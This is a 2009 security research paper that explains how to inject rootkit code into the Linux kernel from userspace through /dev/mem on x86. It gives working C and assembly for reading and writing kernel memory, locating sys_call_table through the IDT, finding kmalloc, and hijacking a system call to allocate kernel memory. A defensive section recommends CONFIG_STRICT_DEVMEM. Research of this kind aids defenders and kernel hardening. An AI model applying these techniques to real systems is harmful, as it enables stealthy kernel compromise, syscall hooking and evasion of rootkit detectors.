Malicious Code Injection via /dev/mem

Anthony Lineberry <anthony.lineberry@gmail.com>

March 27, 2009

Abstract

In this paper we will discuss methods for using the character device, /dev/mem, as an entry point for injecting code into the Linux kernel. The majority of rootkits for the Linux kernel rely on the use of Loadable Kernel Modules (LKM) to get code into the kernel. We will demonstrate techniques originally developed by Silvio Cesare for using /dev/kmem to patch the Linux kernel and apply them to /dev/mem. We will cover how we can locate important structures, allocate memory in the kernel, and abuse important structures inside the kernel, and propose practical solutions. We will focus on the use of this device on x86 architecture.

1 The mem Device

/dev/mem is the driver interface to physically addressable memory. The original intent of both mem and kmem was for assisting in debugging the kernel. We can use the device like a regular character device, using `lseek()` to select an address offset. The kmem device is similar but provides an image of kernel memory in the context of virtual addressing. The Xorg server makes use of the mem device to access VESA video memory as well as the BIOS ROM Interrupt Vector Table (IVT) located at physical address 0x00000000 to manipulate video modes in VM86 mode. DOSEMU also uses this to access the BIOS IVT to be able to make BIOS Interrupts for various tasks (disk reads, printing to the console, etc).

2 Reading and Writing With /dev/mem

Using the /dev/mem device requires the use of physical addresses in order to read/write from. Since all addressing in the Linux kernel is virtual addressing, we will need to be able to translate virtual address to physical addresses. Normally we would look for any process's Page Directory to do this, as the kernel is mapped to the same address in every process, but we can use a shortcut based on the way the Linux kernel is mapped into memory. Traditionally the kernel is loaded physically at 0x00100000 (1MB) into memory. Kernel memory (Ring 0) also traditionally starts at the virtual address 0xC0000000 (3GB). The kernel itself is then mapped to 0xC0100000.

Using an idea behind a trick developed by Tim Robinson for running a kernel using virtual addresses in real mode using the Global Descriptor Table[1] (GDT), we can translate virtual kernel addresses to physical memory addresses. The GDT is a segment map table that contains mapping information for areas of memory. It defines the base address, size, and permissions. The CS register on x86 architecture contains an offset into the GDT to determine which memory segment to use. The GDT entrys base address is added to the address the processor is trying to access to give the final address. Setting the base address in the GDT entry to a high value will wrap a 32-bit address. If a kernel is referencing the address 0xC0100000, a GDT entry with a base address of 0x80000000 would yield the address 0x00100000, the physical address where the kernel is loaded. Using this information we can translate virtual kernel addresses to physical addresses with simple addition. We can use this inspiration to realize that we are over thinking the issue and actually use simple subtraction to give us the physical address, e.g. 0xC0100000-0xC0000000. The following code illustrates this:

```
#define KERN_START 0xC0000000
int is_kern_addr(unsigned long addr) {
    /* is address valid? */
    if(addr < KERN_START)
        return -1;

    return 0;
}
```

[1]Intel IA32 Architecture Software Developer′s Manual Volume 3A System Programming Guide 312

```
/* read from kernel virtual address */
int read_virt(unsigned long addr, void *buf, unsigned int len) {
    if(is_kern_addr(addr) < 0)
        return -1;

    addr = addr - KERN_START;
    lseek(mem_fd, addr, SEEK_SET);

    return read(mem_fd, buf, len);
}

/* write to kernel virtual address */
int write_virt(unsigned long addr, void *buf, unsigned int len) {
    if(is_kern_addr(addr) < 0)
        return -1;

    addr = addr - KERN_START;
    lseek(mem_fd, addr, SEEK_SET);

    return write(mem_fd, buf, len);
}
```

After calling `open()` on /dev/mem, we can now use these functions to manipulate the kernel.

3 Manipulating the Kernel

The system call table is our main target. The system call table is a large array in memory containing function pointers to system call functions at each 4 byte offset. In the past the sys_call_table symbol was an exported symbol provided for LKM use. We no longer have access to this symbol, so we must locate this address on our own.

3.1 IDT

The Interrupt Descriptor Table (IDT) is an array of handler descriptions used on x86 to determine the correct response to an interrupt or exception. The address of the IDT is stored in the IDTR register. This register holds both a 4 byte address and a 2 byte limit. The IDT itself contains 256 consecutive entries in memory. Each entry in the IDT is an 8 byte data structure that stores the address of the interrupt or exception handler, as well as the type of

descriptor. (see Fig of IDT example). The entries themselves are indexed by an interrupt vector. When an interrupt occurs, the processor will reference the table stored in the IDTR and lookup the handler at the index of the triggered interrupt and call that address.

The IDTR register is set using the lidt assembly instruction. This instruction is a protected instruction that may only be executed by processes with Current Privilege Level (CPL) 0. To retrieve the address stored in IDTR, we can use the sidt instruction. This instruction is not protected and may be executed by anyone. The following example shows us how we can obtain the address of the IDT.

```
struct idtr {
    uint16_t       limit;
    unsigned long base;
} __attribute__((packed));

unsigned long idt_table;


__asm__("sidt %0" : "=m"(idtr));
idt_table = idtr.base;
```

Reading the IDTR will unfortunately not work inside most virtual machines. Because the lidt instruction is a protected instruction, an exception will be generated that the VM will catch. This allows the VM to keep a virtual IDTR for each operating system. Since the sidt instruction is not handled, it will return a bogus address for the IDTR, usually above 0xFFC00000. Because of this, we would need to resort to the kernels System.map. Of course, if we have access to the kernels System.map file, we can skip all of this work and use the addresses listed to find the symbols we need. This unfortunately makes for a lot less dynamic rootkit.

3.2 Finding sys_call_table

The Linux kernel uses interrupt 0x80 for the syscall handler. The IDT entry is the 0x80th entry in the table and holds the address for `system_call()`. This function is the main entry point for every system call inside the kernel. After locating the address of the IDT, we can read in entry for the Linux syscall interrupt.

```
struct idt_entry {
    uint16_t lo;
    uint16_t css;
    uint16_t flags;
    uint16_t hi;
} __attribute__((packed));

unsigned long syscall_handler;

/* get idt entry for linux syscall interrupt 0x80 */
read_virt(idtr.base + sizeof(struct idt_entry)*0x80,
    &idt,
    sizeof(struct idt_entry));

syscall_handler = (idt.hi << 16) | idt.lo;
```

Using the located `syscall_handler()` address, we can read in the function's code out of memory into a buffer. The calling convention for a system call is to place the system call number into the EAX register, with arguments in the EBX, ECX, and EDX registers. When the system call handler code path is hit, EAX still holds the system call numer, which is used as an index into `sys_call_table`. If we look at the disassembly of the system call handler function, we can see the call instruction at 0xC0103EBB doing this in our example.

```
anthony$ gdb -q /usr/src/linux/vmlinux
(gdb) disassemble system_call
Dump of assembler code for function system_call:
0xc0103e80 <system_call+0>:     push   %eax
0xc0103e81 <system_call+1>:     cld
0xc0103e82 <system_call+2>:     push   %fs
0xc0103e84 <system_call+4>:     push   %es
0xc0103e85 <system_call+5>:     push   %ds
0xc0103e86 <system_call+6>:     push   %eax
0xc0103e87 <system_call+7>:     push   %ebp
0xc0103e88 <system_call+8>:     push   %edi
0xc0103e89 <system_call+9>:     push   %esi
0xc0103e8a <system_call+10>:    push   %edx
0xc0103e8b <system_call+11>:    push   %ecx
0xc0103e8c <system_call+12>:    push   %ebx
0xc0103e8d <system_call+13>:    mov    $0x7b,%edx
0xc0103e92 <system_call+18>:    mov    %edx,%ds
0xc0103e94 <system_call+20>:    mov    %edx,%es
0xc0103e96 <system_call+22>:    mov    $0xd8,%edx
```

```
0xc0103e9b <system_call+27>:    mov    %edx,%fs
0xc0103e9d <system_call+29>:    mov    $0xffffe000,%ebp
0xc0103ea2 <system_call+34>:    and    %esp,%ebp
0xc0103ea4 <system_call+36>:    testw  $0x1d1,0x8(%ebp)
0xc0103eaa <system_call+42>:    jne    0xc0103fc0 <syscall_
trace_entry>
0xc0103eb0 <system_call+48>:    cmp    $0x14d,%eax
0xc0103eb5 <system_call+53>:    jae    0xc0104018 <syscall_
badsys>
0xc0103ebb <system_call+59>:    call   *0xc032c880(,%eax,4)
0xc0103ec2 <system_call+66>:    mov    %eax,0x18(%esp)
0xc0103ec6 <syscall_exit+0>:    push   %eax
0xc0103ec7 <syscall_exit+1>:    push   %edi
0xc0103ec8 <syscall_exit+2>:    push   %ecx
0xc0103ec9 <syscall_exit+3>:    push   %edx
```

The opcodes for this instruction are FF 14 85 ?? ?? ?? ??, with the last 4 bytes (??) being the address of the table. We are interested in the first 3 bytes of the instruction. Because the first 3 bytes of the call instruction are unique in this function, we can search through memory looking for this byte sequence, and grab the next 4 bytes as the address of the system call table. This is a very simple heuristic, but effective for what we need.

```
Char buf[100];
memset(buf, 0, buf_sz);
read_virt(syscall_handler, buf, buf_sz);

/*
 * Scan opcodes from system_call() to find the opcode for
 * calling the indexed pointer into sys_call_table
 * \xff\x14\x85\x??\x??\x??\x?? = call ptr 0x????????(eax,4)
 */
for(i=0, ptr=buf; i < buf_sz; i++, ptr++) {
    if( *ptr     == 0xff &&
        *(ptr+1) == 0x14 &&
        *(ptr+2) == 0x85 )
    {
        /* skip first 3 bytes of opcode */
        syscall_table = *((uint32_t *)(ptr+3));
        break;
    }
}
printf("sys_call_table 0x%08x\n", syscall_table);
```

Running this code we can see that we are able to extract the correct address of sys_call_table.

```
# ./memrkit
idtr.base 0xc0432000, limit 000007ff
system_call() 0xc0103e80
sys_call_table 0xc032c880
```

At this point we can directly change entries in the table to point to our own functions, or even overwrite this location inside of the system call handler and use our own table, leaving the original table unchanged. This would enable us to bypass various current rootkit detection methods that check the table for changes. There are many other possibilities at this point with the ability to write anywhere into the kernel.

4 Allocating Memory

With the power of arbitrary writes in the kernel, we need a place to store code. We cannot overwrite parts of the kernel without leaving it in an unstable state. Blocks inside the kmalloc pool could be used, but we cannot check the headers for unused memory atomically and therefore cannot guarantee that it would still be free by the time we use it. Another possibility is to use unused pages that are reserved to pad the kmalloc pool. This requires us to be able to dynamically allocate memory with Ring 0 privileges. We also must be able to do this from user space.

The first thing we would need to do is locate the address of `kmalloc()` in memory. We can do this by using the export symbol table available for LKMs. We can find this by looking for the string `0__kmalloc0` in memory. After finding the address for this string, we can then search memory again for a reference to this address. In the memory location where we locate that, we can grab the 4 preceding bytes to find the address of the function. Here is some sample code for doing this.

```
#define PAGE_SIZE 4096
unsigned long lookup_kmalloc(void)
{
    char buf[4096];
    char srch[20];
    unsigned long i = KERN_START, j;
```

```
    unsigned long kstrtab;
    char *sym =   __kmalloc  ;
    srch[0] = '\0';
    memcpy(srch+1, sym, strlen(sym));
    srch[strlen(sym) + 1] = '\0';

    /* Search the first 50megs of kernel space */
    while(i < KERN_START + 1024*1024*50) {
        read_virt(i, buf, PAGE_SIZE);
        for(j=0; j<PAGE_SIZE; j++) {
            if(memcmp(buf+j, srch, strlen(sym)+2) == 0) {
                printf("kstrtab: %08x\n", i+j);
                kstrtab = i+j+1;
            }
        }
        /* overlap reads incase string crosses boundries */
        i += (PAGE_SIZE - strlen(sym));
    }

    i = KERN_START;
    if(kstrtab) {
        while(i < KERN_START + 1024*1024*50) {
            read_virt(i, buf, PAGE_SIZE);
            for(j=0; j<PAGE_SIZE; j++) {
                if( *(unsigned long *)(buf+j) == kstrtab) {
                    printf("possible location: %s@%08x\n",
                        sym, *(unsigned long *)(buf+j-4));
                }
            }
            i += (PAGE_SIZE - 8);
        }
    }
    return 0;
}
```

This can be used for locating other exported symbols as well. Now we need a method for calling this address. Using the system call table that we were able to previously find, we can overwrite an existing system call with the address of kmalloc. This function requires 2 arguments, the requested buffer size along with the pool type. Generally we will allocate with the pool type `GFP_KERNEL`, whose value in the 2.6 kernel is 0xD0. We place the system call number into the EAX register, allocation size into EBX, and `GFP_KERNEL` into ECX and invoke the syscall interrupt. After allocating needed memory, the address of the allocated buffer will be returned in the EAX register.

When this is finished, we can restore the original function address into the system call table entry that we overwrote. We do run the risk of someone calling the overwritten system call in the midst of this operation. Choosing an infrequently used system call such as `sys_uname` or something similar will minimize the risk of this happening.

```
#define SYS_UNAME 122

unsigned long kmalloc_addr, sys_uname;

kmalloc_addr = find_kmalloc(KERN_START+0x100000, 1024*1024*20);

if(kmalloc_addr) {
    read_virt(syscall_table+SYS_UNAME*sizeof(long),
        &sys_uname, sizeof(unsigned long));

    write_virt(syscall_table +SYS_UNAME*sizeof(long),
        &kmalloc_addr, sizeof(unsigned long));
    __asm__("movl $122, %%eax      \n"
        "movl $0x4096, %%ebx \n"
        "movl $0xd0, %%ecx     \n"
        "int $0x80             \n"
        "movl %%eax, %0"
        :"=r" (kernel_buf));

    write_virt(syscall_table + SYS_UNAME*sizeof(long),
        &sys_uname, sizeof(unsigned long));

    printf("Kernel Space allocated: %p\n", kernel_buf);
}
```

We now have a reliable location to place code in the kernel without worry of the kernel using this area. Raw opcodes can be copied into this address and used as a function inside the kernel to accomplish other tasks. The possibilities of this will be left up to the reader.

Solutions Until recently there was no protection inside the kernel mainline, although SELinux has limited seeks above the first megabyte of memory for a few years. Users of RHEL and other distributions have been safe for some time now. It is only recently that the kernel mainline has added in support for limiting reads/writes using /dev/mem. This is done by checking that the address that is being accessed is within the first 256 pages of memory (1MB). These checks are done in the functions `range_is_allowed()` and

`devmem_is_allowed()`.

Listing 1: /usr/src/linux/drivers/char/mem.c

```
#ifdef CONFIG_STRICT_DEVMEM
static inline int range_is_allowed(unsigned long pfn, unsigned long size)
{
        u64 from = ((u64)pfn) << PAGE_SHIFT;
        u64 to = from + size;
        u64 cursor = from;

        while (cursor < to) {
                if (!devmem_is_allowed(pfn)) {
                        printk(KERN_INFO
                "Program %s tried to access /dev/mem between %Lx->%Lx.\n",
                                        current->comm, from, to);
                        return 0;
                }
                cursor += PAGE_SIZE;
                pfn++;
        }
        return 1;
}
#else
static inline int range_is_allowed(unsigned long pfn, unsigned long size)
{
        return 1;
}
#endif
```

Listing 2: /usr/src/linux/arch/x86/mm/init_32.c

```
int devmem_is_allowed(unsigned long pagenr)
{
        if (pagenr <= 256)
                return 1;
        if (!page_is_ram(pagenr))
                return 1;
        return 0;
}
```

The only problem with this is that, as you can see, `range_is_allowed()` is contained inside the preprocessor directive `#ifdef CONFIG_STRICT_DEVMEM`. If this is not configured, `range_is_allowed()` will always return success. This configuration option defaults to N when configuring a kernel, even

though the help information suggests to say Y if unsure.

Listing 3: /usr/src/linux/arch/x86/Kconfig.debug

```
config STRICT_DEVMEM
        bool "Filter access to /dev/mem"
        help
          If this option is disabled, you allow userspace (root) access to all
          of memory, including kernel and userspace memory. Accidental
          access to this is obviously disastrous, but specific access can
          be used by people debugging the kernel. Note that with PAT support
          enabled, even in this case there are restrictions on /dev/mem
          use due to the cache aliasing requirements.

          If this option is switched on, the /dev/mem file only allows
          userspace access to PCI space and the BIOS code and data regions.
          This is sufficient for dosemu and X and all common users of
          /dev/mem.

          If in doubt, say Y.
```

This should be patched in the future to default to Y. Administrators should make sure to configure kernels to enable this option.

5 Conclusion

We have presented a method for reading/writing kernel memory as well as storing code inside the kernel, all from userspace. This device is very powerful and opens a lot of doors for possibilities. Attackers with root privileges may use this to accomplish many standard rootkit behaviors such as hiding processes, opening remote backdoors, hijacking system calls, etc. Injecting code into the kernel through this vector is for the most part pretty clean and simple. It is also considerably less noisy than using LKMs to insert a rootkit.